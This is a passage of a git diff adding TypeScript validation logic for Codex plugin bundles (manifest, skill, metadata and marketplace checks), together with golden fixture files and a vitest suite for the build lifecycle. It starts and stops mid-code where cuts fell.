return; + for (const field of Object.keys(metadata)) { + if (!SKILL_METADATA_FIELDS.has(field)) + report(context, 'CODEX_SKILL_METADATA_FIELD_UNKNOWN', `Unknown ${metadataPath} field "${field}".`); + } + if (!isRecord(metadata.interface)) { + report(context, 'CODEX_SKILL_INTERFACE_REQUIRED', `${metadataPath} must contain an interface mapping.`); + return; + } + /** Skill interface 中已经通过对象校验的字段。 */ + const skillInterface = metadata.interface; + for (const field of Object.keys(skillInterface)) { + if (!SKILL_INTERFACE_FIELDS.has(field)) + report(context, 'CODEX_SKILL_INTERFACE_FIELD_UNKNOWN', `Unknown Skill interface field "${field}".`); + } + /** Skill 元数据存在时必须同时提供的两个展示字段。 */ + for (const field of ['display_name', 'short_description'] as const) { + if (typeof skillInterface[field] !== 'string' || skillInterface[field].trim().length === 0) + report(context, 'CODEX_SKILL_INTERFACE_FIELD_REQUIRED', `Skill interface.${field} must be a non-empty string.`); + } + for (const field of ['icon_small', 'icon_large'] as const) { + /** 当前可选 Skill 图片引用。 */ + const candidate = skillInterface[field]; + if (candidate !== undefined) { + if (typeof candidate !== 'string' || candidate.trim().length === 0) + report(context, 'CODEX_SKILL_ASSET_INVALID', `Skill interface.${field} must be a non-empty path.`); + else + validateSkillAssetReference(context, artifacts, skillId, field, candidate); + } + } + if (skillInterface.brand_color !== undefined + && (typeof skillInterface.brand_color !== 'string' || !CODEX_BRAND_COLOR_PATTERN.test(skillInterface.brand_color))) { + report(context, 'CODEX_SKILL_BRAND_COLOR_INVALID', 'Skill interface.brand_color must be a six-digit hexadecimal color.'); + } + if (skillInterface.default_prompt !== undefined + && (typeof skillInterface.default_prompt !== 'string' || skillInterface.default_prompt.trim().length === 0)) { + report(context, 'CODEX_SKILL_DEFAULT_PROMPT_INVALID', 'Skill interface.default_prompt must be a non-empty string.'); + } + if (metadata.policy !== undefined) { + if (!isRecord(metadata.policy)) { + report(context, 'CODEX_SKILL_POLICY_INVALID', 'Skill policy must be a YAML mapping.'); + } else { + for (const field of Object.keys(metadata.policy)) { + if (!SKILL_POLICY_FIELDS.has(field)) + report(context, 'CODEX_SKILL_POLICY_FIELD_UNKNOWN', `Unknown Skill policy field "${field}".`); + } + if (metadata.policy.allow_implicit_invocation !== undefined + && typeof metadata.policy.allow_implicit_invocation !== 'boolean') { + report(context, 'CODEX_SKILL_POLICY_INVALID', 'Skill policy.allow_implicit_invocation must be a boolean.'); + } + if (metadata.policy.products !== undefined + && (!Array.isArray(metadata.policy.products) + || metadata.policy.products.length === 0 + || metadata.policy.products.some(product => typeof product !== 'string' || !SKILL_PRODUCTS.has(product)) + || new Set(metadata.policy.products).size !== metadata.policy.products.length)) { + report(context, 'CODEX_SKILL_POLICY_INVALID', 'Skill policy.products must contain CHAT, CODEX, or both without duplicates.'); + } + } + } + if (metadata.dependencies !== undefined) { + if (!isRecord(metadata.dependencies) + || Object.keys(metadata.dependencies).some(field => field !== 'tools') + || !Array.isArray(metadata.dependencies.tools)) { + report(context, 'CODEX_SKILL_DEPENDENCIES_INVALID', 'Skill dependencies may contain only a tools array.'); + } + } + } catch { + report(context, 'CODEX_SKILL_METADATA_READ_FAILED', `${metadataPath} must be readable UTF-8 YAML.`); + } +} + +/** + * 校验一个最终 Skill 的 Markdown、frontmatter、正文与可选元数据。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param artifacts 当前 DeliveryUnit 的 Artifact 路径集合。 + * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 + * @param pluginName 当前 Plugin 的稳定机器名称。 + * @param skillId 当前 Skill 的最终目录 ID。 + * @param names 已验证 Skill frontmatter 名称的全局索引。 + */ +async function validateSkill( + context: PlatformValidateContext, + artifacts: ReadonlySet, + pluginRoot: string, + pluginName: string | undefined, + skillId: string, + names: Set, +): Promise { + /** 当前 Skill Manifest 的固定 Artifact 路径。 */ + const manifestPath = `skills/${skillId}/SKILL.md`; + if (!artifacts.has(manifestPath)) { + report(context, 'CODEX_SKILL_MANIFEST_MISSING', `Skill directory "${skillId}" must contain SKILL.md.`, ['skills', skillId]); + return; + } + try { + /** 从已物化候选读取最终 Skill Markdown。 */ + const source = await fs.readFile(path.join(context.candidate.root, pluginRoot, manifestPath), 'utf8'); + /** Frontmatter 与正文使用固定边界,拒绝缺失或未闭合标记。 */ + const match = /^---\r?\n([\s\S]*?)\r?\n---(?:\r?\n|$)([\s\S]*)$/u.exec(source); + if (match === null) { + report(context, 'CODEX_SKILL_FRONTMATTER_INVALID', `${manifestPath} must start with closed YAML frontmatter.`); + return; + } + /** 已从正则边界提取的 YAML frontmatter。 */ + const frontmatter = parseYamlObject(context, match[1]!, manifestPath); + if (frontmatter === undefined) + return; + /** frontmatter 声明的 Skill 机器名称。 */ + const name = frontmatter.name; + if (typeof name !== 'string' || !SKILL_ID_PATTERN.test(name)) { + report(context, 'CODEX_SKILL_NAME_INVALID', `${manifestPath} name must use lowercase kebab-case.`); + } else { + /** Skill name 按平台最终选择器语义执行大小写不敏感唯一性。 */ + const key = name.toLocaleLowerCase('en-US'); + if (names.has(key)) + report(context, 'CODEX_SKILL_NAME_DUPLICATE', `Skill name "${name}" is duplicated.`); + names.add(key); + if (name !== skillId) + report(context, 'CODEX_SKILL_NAME_MISMATCH', `${manifestPath} name must match its directory ID "${skillId}".`); + if (pluginName !== undefined && `${pluginName}:${name}`.length > 64) + report(context, 'CODEX_SKILL_IDENTITY_TOO_LONG', `Plugin and Skill identity "${pluginName}:${name}" exceeds 64 characters.`); + } + if (typeof frontmatter.description !== 'string' + || frontmatter.description.trim().length === 0 + || frontmatter.description.length > 1_024) { + report(context, 'CODEX_SKILL_DESCRIPTION_INVALID', `${manifestPath} description must contain 1 to 1024 characters.`); + } + if (match[2]!.trim().length === 0) + report(context, 'CODEX_SKILL_BODY_EMPTY', `${manifestPath} instructions must not be empty.`); + await validateSkillMetadata(context, artifacts, pluginRoot, skillId); + } catch { + report(context, 'CODEX_SKILL_READ_FAILED', `${manifestPath} must be readable UTF-8 Markdown.`); + } +} + +/** + * 校验 `skills/` 根下每个直接子目录及其内容协议。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param artifacts 当前 DeliveryUnit 的 Artifact 路径集合。 + * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 + * @param pluginName 当前 Plugin 的稳定机器名称。 + */ +async function validateSkills( + context: PlatformValidateContext, + artifacts: ReadonlySet, + pluginRoot: string, + pluginName: string | undefined, +): Promise { + /** 从任意 Skill Artifact 收集的直接子目录 ID。 */ + const directories = new Set(); + for (const artifact of artifacts) { + if (!artifact.startsWith('skills/')) + continue; + /** 当前 Skill Artifact 的 POSIX 路径片段。 */ + const segments = artifact.split('/'); + if (segments.length < 3 || segments[1] === '') { + report(context, 'CODEX_SKILL_PATH_INVALID', `Invalid Skill Artifact path "${artifact}".`, ['skills']); + continue; + } + directories.add(segments[1]!); + if (artifact.endsWith('/SKILL.md') && segments.length !== 3) + report(context, 'CODEX_SKILL_MANIFEST_NESTED', 'SKILL.md must be an immediate child of its Skill directory.', ['skills', segments[1]!]); + } + if (directories.size === 0) { + report(context, 'CODEX_SKILL_REQUIRED', 'A Codex Plugin must contain at least one immediate child Skill.', ['skills']); + return; + } + /** 已验证 Skill frontmatter 名称的全局唯一性集合。 */ + const names = new Set(); + /** skillId 表示当前排序后的 Skill,用于生成确定诊断顺序。 */ + for (const skillId of [...directories].sort((left, right) => left.localeCompare(right, 'en'))) { + if (!SKILL_ID_PATTERN.test(skillId)) + report(context, 'CODEX_SKILL_DIRECTORY_INVALID', `Skill directory "${skillId}" must use lowercase kebab-case.`, ['skills', skillId]); + await validateSkill(context, artifacts, pluginRoot, pluginName, skillId, names); + } +} + +/** + * 校验 Plugin Manifest 字段、Skill 根和 Extension 引用。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param manifest 已解析的 Codex Plugin Manifest。 + * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 + */ +async function validatePluginManifest( + context: PlatformValidateContext, + manifest: JsonRecord, + pluginRoot = '', +): Promise { + /** 当前 Plugin 安装根内的相对 Artifact 路径集合。 */ + const artifacts = scopedArtifacts(context, pluginRoot); + for (const field of Object.keys(manifest)) { + if (!PLUGIN_FIELDS.has(field)) + report(context, 'CODEX_MANIFEST_FIELD_UNKNOWN', `Unknown Codex Plugin field "${field}".`, [field]); + } + /** Codex Plugin Manifest 的三个稳定必填字符串字段。 */ + const required = ['name', 'version', 'description'] as const; + for (const field of required) { + if (typeof manifest[field] !== 'string' || manifest[field].trim().length === 0) + report(context, 'CODEX_MANIFEST_FIELD_REQUIRED', `${field} must be a non-empty string.`, [field]); + } + if (typeof manifest.name === 'string' + && (manifest.name.length > 64 || !PLUGIN_NAME_PATTERN.test(manifest.name))) { + report(context, 'CODEX_MANIFEST_NAME_INVALID', 'name must use the official ASCII Plugin name format and contain at most 64 characters.', ['name']); + } + if (typeof manifest.version === 'string' + && (manifest.version.length > 64 || !SEMVER_PATTERN.test(manifest.version))) { + report(context, 'CODEX_MANIFEST_VERSION_INVALID', 'version must be a semantic version.', ['version']); + } + if (typeof manifest.description === 'string' && manifest.description.length > 1_024) + report(context, 'CODEX_MANIFEST_DESCRIPTION_INVALID', 'description must contain at most 1024 characters.', ['description']); + if (manifest.author !== undefined) { + /** 通过对象检查后的作者字段。 */ + const author = isRecord(manifest.author) ? manifest.author : undefined; + if (author === undefined || typeof author.name !== 'string' || author.name.trim().length === 0) { + report(context, 'CODEX_MANIFEST_AUTHOR_INVALID', 'author.name must be a non-empty string.', ['author', 'name']); + } else { + for (const field of ['email', 'url'] as const) { + if (author[field] !== undefined && (typeof author[field] !== 'string' || author[field].trim().length === 0)) + report(context, 'CODEX_MANIFEST_AUTHOR_INVALID', `author.${field} must be a non-empty string.`, ['author', field]); + } + if (typeof author.url === 'string' && (!isCodexHttpsUrl(author.url) || author.url.length > 2_048)) + report(context, 'CODEX_MANIFEST_AUTHOR_URL_INVALID', 'author.url must be an HTTPS URL without credentials.', ['author', 'url']); + } + } + for (const field of ['homepage', 'repository', 'license'] as const) { + if (manifest[field] !== undefined && (typeof manifest[field] !== 'string' || manifest[field].trim().length === 0)) + report(context, 'CODEX_MANIFEST_METADATA_INVALID', `${field} must be a non-empty string.`, [field]); + } + if (typeof manifest.homepage === 'string' && (!isCodexHttpsUrl(manifest.homepage) || manifest.homepage.length > 2_048)) + report(context, 'CODEX_MANIFEST_HOMEPAGE_INVALID', 'homepage must be an HTTPS URL without credentials.', ['homepage']); + if (manifest.keywords !== undefined + && (!Array.isArray(manifest.keywords) + || manifest.keywords.some(keyword => typeof keyword !== 'string' || keyword.trim().length === 0) + || new Set(manifest.keywords).size !== manifest.keywords.length)) { + report(context, 'CODEX_MANIFEST_KEYWORDS_INVALID', 'keywords must contain unique non-empty strings.', ['keywords']); + } + if (manifest.skills !== './skills/') + report(context, 'CODEX_SKILLS_PATH_INVALID', 'skills must point to the root ./skills/ directory.', ['skills']); + await validateSkills(context, artifacts, pluginRoot, typeof manifest.name === 'string' ? manifest.name : undefined); + if (manifest.interface !== undefined) + await validateInterface(context, artifacts, pluginRoot, manifest.interface); + if (manifest.mcpServers !== undefined) { + if (typeof manifest.mcpServers !== 'string') { + report(context, 'CODEX_MCP_REFERENCE_INVALID', 'mcpServers must be a Plugin-root file path.', ['mcpServers']); + } else { + validateReference(context, artifacts, 'mcpServers', manifest.mcpServers, ['mcpServers']); + } + } + if (manifest.hooks !== undefined) + await validateHooks(context, artifacts, pluginRoot, manifest.hooks); + else if (artifacts.has('hooks/hooks.json')) + await validateHookFile(context, pluginRoot, './hooks/hooks.json', ['hooks']); +} + +/** + * 校验 Marketplace 根清单和自包含 Plugin 来源。 + * + * @param context Platform validateBundle 生命周期上下文。 + * @param marketplace 已解析的 Marketplace 清单。 + */ +async function validateMarketplace( + context: PlatformValidateContext, + marketplace: JsonRecord, +): Promise { + for (const field of Object.keys(marketplace)) { + if (!MARKETPLACE_FIELDS.has(field)) + report(context, 'CODEX_MARKETPLACE_FIELD_UNKNOWN', `Unknown Codex Marketplace field "${field}".`, [field]); + } + if (typeof marketplace.name !== 'string' || marketplace.name.trim().length === 0) + report(context, 'CODEX_MARKETPLACE_NAME_REQUIRED', 'Marketplace name must be a non-empty string.', ['name']); + if (!isRecord(marketplace.interface) + || typeof marketplace.interface.displayName !== 'string' + || marketplace.interface.displayName.trim().length === 0) { + report(context, 'CODEX_MARKETPLACE_INTERFACE_REQUIRED', 'Marketplace interface.displayName must be present.', ['interface', 'displayName']); + } + if (!Array.isArray(marketplace.plugins) + || marketplace.plugins.length === 0 + || marketplace.plugins.some(entry => !isRecord(entry))) { + report(context, 'CODEX_MARKETPLACE_PLUGIN_REQUIRED', 'Marketplace must contain one or more Plugin entries.', ['plugins']); + return; + } + /** 已验证来源用于阻止两个条目指向同一 Plugin 根。 */ + const sources = new Set(); + /** 已验证名称用于阻止 Marketplace 内出现选择器歧义。 */ + const names = new Set(); + /** [index, entryValue] 表示当前 Marketplace Plugin 条目。 */ + for (const [index, entryValue] of marketplace.plugins.entries()) { + /** plugins 已经整体通过对象检查后的当前条目。 */ + const entry = entryValue as JsonRecord; + for (const field of Object.keys(entry)) { + if (!MARKETPLACE_PLUGIN_FIELDS.has(field)) + report(context, 'CODEX_MARKETPLACE_PLUGIN_FIELD_UNKNOWN', `Unknown Marketplace Plugin field "${field}".`, ['plugins', index, field]); + } + /** 已通过对象形态检查的本地来源候选。 */ + const source = isRecord(entry.source) ? entry.source : undefined; + /** 当前来源中的本地路径候选。 */ + const sourcePath = source?.path; + /** 单项保持兼容根布局,多项必须各自进入稳定 plugins 子目录。 */ + const sourceValid = source?.source === 'local' + && typeof sourcePath === 'string' + && (marketplace.plugins.length === 1 ? sourcePath === './' : MARKETPLACE_PLUGIN_SOURCE_PATTERN.test(sourcePath)); + if (!sourceValid) { + report(context, 'CODEX_MARKETPLACE_SOURCE_INVALID', 'Single-Plugin source must be local "./"; multi-Plugin sources must use "./plugins/".', ['plugins', index, 'source']); + continue; + } + if (sources.has(sourcePath)) + report(context, 'CODEX_MARKETPLACE_SOURCE_DUPLICATE', 'Marketplace Plugin sources must be unique.', ['plugins', index, 'source', 'path']); + sources.add(sourcePath); + /** `./` 对应 Distribution 根,其余来源去掉协议前缀后作为 Plugin 根。 */ + const pluginRoot = sourcePath === './' ? '' : sourcePath.slice(2); + /** 当前来源根内必须存在且可解析的 Codex Plugin Manifest。 */ + const plugin = await readJson(context, pluginRoot === '' ? PLUGIN_MANIFEST_PATH : `${pluginRoot}/${PLUGIN_MANIFEST_PATH}`); + if (plugin === undefined) + continue; + await validatePluginManifest(context, plugin, pluginRoot); + if (entry.name !== plugin.name) + report(context, 'CODEX_MARKETPLACE_PLUGIN_MISMATCH', 'Marketplace Plugin name must match its bundled Plugin Manifest.', ['plugins', index, 'name']); + if (typeof entry.name === 'string') { + /** Marketplace 名称使用 Plugin Manifest 的稳定选择器值。 */ + const name = entry.name; + if (names.has(name)) + report(context, 'CODEX_MARKETPLACE_PLUGIN_DUPLICATE', 'Marketplace Plugin names must be unique.', ['plugins', index, 'name']); + names.add(name); + } + if (!isRecord(entry.policy) + || typeof entry.policy.installation !== 'string' + || !INSTALLATION_POLICIES.has(entry.policy.installation) + || entry.policy.authentication !== 'ON_INSTALL') { + report(context, 'CODEX_MARKETPLACE_POLICY_INVALID', 'Marketplace policy must include a supported installation value and ON_INSTALL authentication.', ['plugins', index, 'policy']); + } + if (typeof entry.category !== 'string' || !CATEGORIES.has(entry.category)) + report(context, 'CODEX_MARKETPLACE_CATEGORY_INVALID', 'Marketplace category must be an official Plugin category.', ['plugins', index, 'category']); + } +} + +/** + * 校验主 Plugin 或 Marketplace Distribution 的最终安装根契约。 + * + * @param context Core 提供的已安全物化候选。 + */ +export async function validateCodexBundle(context: PlatformValidateContext): Promise { + if (context.candidate.unit.type === 'marketplace') { + /** Distribution 额外要求 Repo Marketplace 固定路径。 */ + const marketplace = await readJson(context, MARKETPLACE_MANIFEST_PATH); + if (marketplace !== undefined) + await validateMarketplace(context, marketplace); + return; + } + /** 主单元始终使用安装根固定 Plugin Manifest。 */ + const plugin = await readJson(context, PLUGIN_MANIFEST_PATH); + if (plugin !== undefined) + await validatePluginManifest(context, plugin); + if (context.candidate.unit.artifacts.some(artifact => artifact.path === MARKETPLACE_MANIFEST_PATH)) { + report(context, 'CODEX_MARKETPLACE_IN_PRIMARY', 'Primary Plugin must not contain a Marketplace manifest.'); + } +} diff --git a/packages/platforms/codex/test/golden/.agents/plugins/marketplace.json b/packages/platforms/codex/test/golden/.agents/plugins/marketplace.json new file mode 100644 index 0000000..066ccb8 --- /dev/null +++ b/packages/platforms/codex/test/golden/.agents/plugins/marketplace.json @@ -0,0 +1,20 @@ +{ + "interface": { + "displayName": "Release Tools Marketplace" + }, + "name": "release-tools-marketplace", + "plugins": [ + { + "category": "Developer Tools", + "name": "release-tools", + "policy": { + "authentication": "ON_INSTALL", + "installation": "INSTALLED_BY_DEFAULT" + }, + "source": { + "path": "./", + "source": "local" + } + } + ] +} diff --git a/packages/platforms/codex/test/golden/.codex-plugin/plugin.json b/packages/platforms/codex/test/golden/.codex-plugin/plugin.json new file mode 100644 index 0000000..e90b9df --- /dev/null +++ b/packages/platforms/codex/test/golden/.codex-plugin/plugin.json @@ -0,0 +1,34 @@ +{ + "author": { + "email": "maintainers@example.com", + "name": "TokenRoll", + "url": "https://github.com/TokenRollAI" + }, + "description": "Release workflow tools.", + "homepage": "https://example.com/release-tools", + "interface": { + "brandColor": "#10A37F", + "capabilities": [ + "Prepare releases", + "Review changes" + ], + "category": "Developer Tools", + "composerIcon": "./assets/logo.svg", + "defaultPrompt": "Use Release Tools to review this change.", + "developerName": "TokenRoll", + "displayName": "Release Tools", + "logo": "./assets/logo.svg", + "longDescription": "Release workflow tools.", + "shortDescription": "Release workflow tools.", + "websiteURL": "https://example.com/release-tools" + }, + "keywords": [ + "release", + "review" + ], + "license": "MIT", + "name": "release-tools", + "repository": "https://github.com/TokenRollAI/release-tools", + "skills": "./skills/", + "version": "1.2.3" +} diff --git a/packages/platforms/codex/test/golden/skills/command-release/SKILL.md b/packages/platforms/codex/test/golden/skills/command-release/SKILL.md new file mode 100644 index 0000000..79bdcd4 --- /dev/null +++ b/packages/platforms/codex/test/golden/skills/command-release/SKILL.md @@ -0,0 +1,5 @@ +--- +description: Prepare a release. +name: command-release +--- +Prepare release the arguments supplied with this explicit invocation. diff --git a/packages/platforms/codex/test/golden/skills/command-release/agents/openai.yaml b/packages/platforms/codex/test/golden/skills/command-release/agents/openai.yaml new file mode 100644 index 0000000..abb36f7 --- /dev/null +++ b/packages/platforms/codex/test/golden/skills/command-release/agents/openai.yaml @@ -0,0 +1,5 @@ +interface: + display_name: Release command + short_description: Prepare a release +policy: + allow_implicit_invocation: false diff --git a/packages/platforms/codex/test/golden/skills/review/SKILL.md b/packages/platforms/codex/test/golden/skills/review/SKILL.md new file mode 100644 index 0000000..e5e3db7 --- /dev/null +++ b/packages/platforms/codex/test/golden/skills/review/SKILL.md @@ -0,0 +1,5 @@ +--- +description: Review the current change. +name: review +--- +Review the implementation. diff --git a/packages/platforms/codex/test/golden/skills/review/agents/openai.yaml b/packages/platforms/codex/test/golden/skills/review/agents/openai.yaml new file mode 100644 index 0000000..f42bec2 --- /dev/null +++ b/packages/platforms/codex/test/golden/skills/review/agents/openai.yaml @@ -0,0 +1,8 @@ +interface: + brand_color: "#10A37F" + display_name: Review change + short_description: Review a change +policy: + allow_implicit_invocation: false + products: + - CODEX diff --git a/packages/platforms/codex/test/platform.test.ts b/packages/platforms/codex/test/platform.test.ts new file mode 100644 index 0000000..ab281d0 --- /dev/null +++ b/packages/platforms/codex/test/platform.test.ts @@ -0,0 +1,612 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { + bytesArtifact, + defineExtension, + DeliveryUnitRegistry, + executeLifecycle, + resolveConfig, + stableJson, + withMaterializedDeliveryUnitCandidate, + type AcpluginExtension, + type BuildCommand, + type DiagnosticInput, + type PlatformDistributionContext, + type ResolvedConfig, +} from '@acplugin/core'; +import { codex } from '../src/index.js'; +import { MARKETPLACE_MANIFEST_PATH, PLUGIN_MANIFEST_PATH } from '../src/manifest.js'; + +/** 测试结束后统一删除的临时工程根目录。 */ +const temporaryRoots: string[] = []; + +/** Golden 文件相对于当前测试模块的固定目录。 */ +const goldenRoot = path.join(import.meta.dirname, 'golden'); + +/** + * 创建已登记自动清理的空临时工程。 + * + * @returns 新建工程的绝对路径。 + */ +async function temporaryProject(): Promise { + /** 当前用例独占且不会与并行测试冲突的工程根。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-codex-platform-')); + temporaryRoots.push(root); + await fs.mkdir(path.join(root, 'src'), { recursive: true }); + return root; +} + +/** + * 写入包含原生 Skill、无 hint Command、辅助文件和 Public 的严格兼容工程。 + * + * @param root 当前测试工程根目录。 + */ +async function writeSupportedProject(root: string): Promise { + await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/skills/review/references'), { recursive: true }); + await fs.mkdir(path.join(root, 'public/assets'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/commands/release.md'), `--- +description: Prepare a release. +platforms: + codex: + displayName: Release command + shortDescription: Prepare a release +--- +Prepare release {{arguments}}. +`); + await fs.writeFile(path.join(root, 'src/skills/review/SKILL.md'), `--- +description: Review the current change. +invocation: + user: true + model: false +platforms: + codex: + displayName: Review change + shortDescription: Review a change + brandColor: "#10A37F" + products: + - CODEX +--- +Review the implementation. +`); + await fs.writeFile(path.join(root, 'src/skills/review/references/checklist.md'), 'Review checklist.\n'); + await fs.writeFile(path.join(root, 'public/assets/logo.svg'), '\n'); +} + +/** + * 解析仅包含 Codex Platform 的测试配置。 + * + * @param root 当前测试工程根目录。 + * @param command 生命周期命令。 + * @param platform 当前用例使用的 Codex Platform。 + * @param extensions 可选横向 Extension 列表。 + * @returns 无配置诊断的完整 ResolvedConfig。 + */ +function resolvedConfig( + root: string, + command: BuildCommand, + platform: ReturnType, + extensions: readonly AcpluginExtension[] = [], +): ResolvedConfig { + /** 通过公开配置解析器建立的测试配置结果。 */ + const result = resolveConfig({ + name: 'release-tools', + version: '1.2.3', + description: 'Release workflow tools.', + displayName: 'Release Tools', + author: { name: 'TokenRoll', email: 'maintainers@example.com', url: 'https://github.com/TokenRollAI' }, + homepage: 'https://example.com/release-tools', + repository: 'https://github.com/TokenRollAI/release-tools', + license: 'MIT', + keywords: ['release', 'review'], + platforms: [platform], + extensions, + build: { outDir: 'dist', strict: true }, + }, path.join(root, 'acplugin.config.ts'), command, 'production', { defaultPlatforms: [platform] }); + expect(result.diagnostics).toEqual([]); + return result.config!; +} + +/** + * 执行一次完整 Codex Platform 生命周期。 + * + * @param config 已解析且只包含当前 Platform 的配置。 + * @returns Core 的稳定 BuildResult。 + */ +async function run(config: ResolvedConfig) { + return executeLifecycle({ + config, + /** 当前 Platform Fixture 不加载作者 TypeScript 模块。 */ + loadTypeScriptModule: async () => undefined, + environment: {}, + }); +} + +/** + * 读取 Golden 文本并与实际产物执行字节级比较。 + * + * @param actual 当前构建输出文件的绝对路径。 + * @param golden Golden 文件相对于 test/golden 的路径。 + */ +async function expectGolden(actual: string, golden: string): Promise { + /** 当前仓库固定保存的期望字节。 */ + const expected = await fs.readFile(path.join(goldenRoot, golden)); + /** 当前 Platform 构建产生的实际字节。 */ + const received = await fs.readFile(actual); + expect(received).toEqual(expected); +} + +afterEach(async () => { + await Promise.all(temporaryRoots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe('Codex Platform', () => { + it('builds native Skills, transformed Commands, Public, metadata, and current openai.yaml', async () => { + /** 只使用 strict 可接受能力的完整工程。 */ + const root = await temporaryProject(); + await writeSupportedProject(root); + /** 配置完整官方安装 interface 的 Codex Platform。 */ + const platform = codex({ + interface: { + category: 'Developer Tools', + capabilities: ['Prepare releases', 'Review changes'], + defaultPrompt: 'Use Release Tools to review this change.', + brandColor: '#10A37F', + composerIcon: './assets/logo.svg', + logo: './assets/logo.svg', + }, + }); + /** 完成 strict 主 Plugin 构建后的稳定结果。 */ + const result = await run(resolvedConfig(root, 'build', platform)); + /** Codex 主 Plugin 的最终输出根。 */ + const output = path.join(root, 'dist/codex/plugin'); + + expect(result.success).toBe(true); + expect(result.committed).toBe(true); + expect(result.compatibility).toEqual(expect.arrayContaining([ + expect.objectContaining({ subject: 'skill:review', level: 'native' }), + expect.objectContaining({ subject: 'command:release', level: 'transform' }), + ])); + expect(result.metadata).toContainEqual(expect.objectContaining({ + field: 'displayName', + disposition: 'emitted', + output: '.codex-plugin/plugin.json.interface.displayName', + })); + await expectGolden(path.join(output, '.codex-plugin/plugin.json'), '.codex-plugin/plugin.json'); + await expectGolden(path.join(output, 'skills/review/SKILL.md'), 'skills/review/SKILL.md'); + await expectGolden(path.join(output, 'skills/review/agents/openai.yaml'), 'skills/review/agents/openai.yaml'); + await expectGolden(path.join(output, 'skills/command-release/SKILL.md'), 'skills/command-release/SKILL.md'); + await expectGolden(path.join(output, 'skills/command-release/agents/openai.yaml'), 'skills/command-release/agents/openai.yaml'); + expect(await fs.readFile(path.join(output, 'skills/review/references/checklist.md'), 'utf8')).toBe('Review checklist.\n'); + expect(await fs.readFile(path.join(output, 'assets/logo.svg'), 'utf8')).toContain('viewBox="0 0 48 48"'); + }); + + it('rejects only an actually declared Command argument hint in strict mode', async () => { + /** 单 Command 工程用于隔离 hint 兼容性。 */ + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/commands/deploy.md'), `--- +description: Deploy an environment. +argumentHint: +--- +Deploy {{arguments}}. +`); + /** strict 应在 fallback 生成 checkpoint 拒绝实际 hint 损失。 */ + const result = await run(resolvedConfig(root, 'build', codex())); + + expect(result.success).toBe(false); + expect(result.committed).toBe(false); + expect(result.compatibility).toContainEqual(expect.objectContaining({ + subject: 'command:deploy', + capability: 'argumentHint', + level: 'degraded', + })); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ code: 'COMPATIBILITY_STRICT' })); + }); + + it('rejects Agent fallback in strict mode and writes explicit guidance in relaxed mode', async () => { + /** 单 Agent 工程用于验证三类运行约束损失。 */ + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'src/agents'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/agents/reviewer.md'), `--- +description: Review code changes. +model: capable +capabilities: + - filesystem:read + - search +--- +Review code and report findings. +`); + /** strict 运行不应提交降级 Agent。 */ + const strictResult = await run(resolvedConfig(root, 'build', codex())); + /** relaxed 运行允许生成带明确限制说明的 fallback。 */ + const relaxedResult = await run(resolvedConfig(root, 'build', codex({ strict: false }))); + /** relaxed 模式最终生成的指导型 Skill。 */ + const fallback = await fs.readFile(path.join(root, 'dist/codex/plugin/skills/agent-reviewer/SKILL.md'), 'utf8'); + + expect(strictResult.success).toBe(false); + expect(strictResult.committed).toBe(false); + expect(relaxedResult.success).toBe(true); + expect(relaxedResult.compatibility).toEqual(expect.arrayContaining([ + expect.objectContaining({ subject: 'agent:reviewer', capability: 'component', level: 'degraded' }), + expect.objectContaining({ subject: 'agent:reviewer', capability: 'agent.model', level: 'degraded' }), + expect.objectContaining({ subject: 'agent:reviewer', capability: 'agent.capabilities', level: 'degraded' }), + ])); + expect(fallback).toContain('Intended model class: capable.'); + expect(fallback).toContain('These settings are guidance, not enforced registration.'); + }); + + it('reports user:false as an actual invocation degradation', async () => { + /** 单 Skill 工程用于隔离禁止显式调用的兼容性。 */ + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'src/skills/manual'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/skills/manual/SKILL.md'), `--- +description: Run only when explicitly selected. +invocation: + user: false + model: true +--- +Perform the manual workflow. +`); + /** relaxed 运行应保留 Skill 内容并只警告 user:false。 */ + const result = await run(resolvedConfig(root, 'build', codex({ strict: false }))); + expect(result.success, JSON.stringify(result.diagnostics)).toBe(true); + + expect(result.compatibility).toContainEqual(expect.objectContaining({ + subject: 'skill:manual', + capability: 'invocation.user', + level: 'degraded', + })); + expect(await fs.readFile(path.join(root, 'dist/codex/plugin/skills/manual/SKILL.md'), 'utf8')) + .toContain('Perform the manual workflow.'); + }); + + it('fails when a canonical Skill collides with a generated fallback Skill ID', async () => { + /** 同时声明 command:release 与 skill:command-release 的冲突工程。 */ + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/skills/command-release'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/commands/release.md'), `--- +description: Prepare a release. +--- +Prepare the release. +`); + await fs.writeFile(path.join(root, 'src/skills/command-release/SKILL.md'), `--- +description: Existing colliding Skill. +--- +Run the existing workflow. +`); + /** prepare 应在任何 Artifact 注册前报告稳定结构错误。 */ + const result = await run(resolvedConfig(root, 'build', codex())); + + expect(result.success).toBe(false); + expect(result.committed).toBe(false); + expect(result.diagnostics).toContainEqual(expect.objectContaining({ + code: 'CODEX_GENERATED_SKILL_ID_COLLISION', + message: expect.stringContaining('skill:command-release'), + })); + }); + + it('lets independent Hooks and MCP Adapters use only declared add-only extension points', async () => { + /** 至少含一个原生 Skill 的 Extension host 工程。 */ + const root = await temporaryProject(); + await fs.mkdir(path.join(root, 'src/skills/host'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/skills/host/SKILL.md'), `--- +description: Host extension resources. +--- +Use the extension resources. +`); + /** 模拟官方 Hooks/MCP Extension 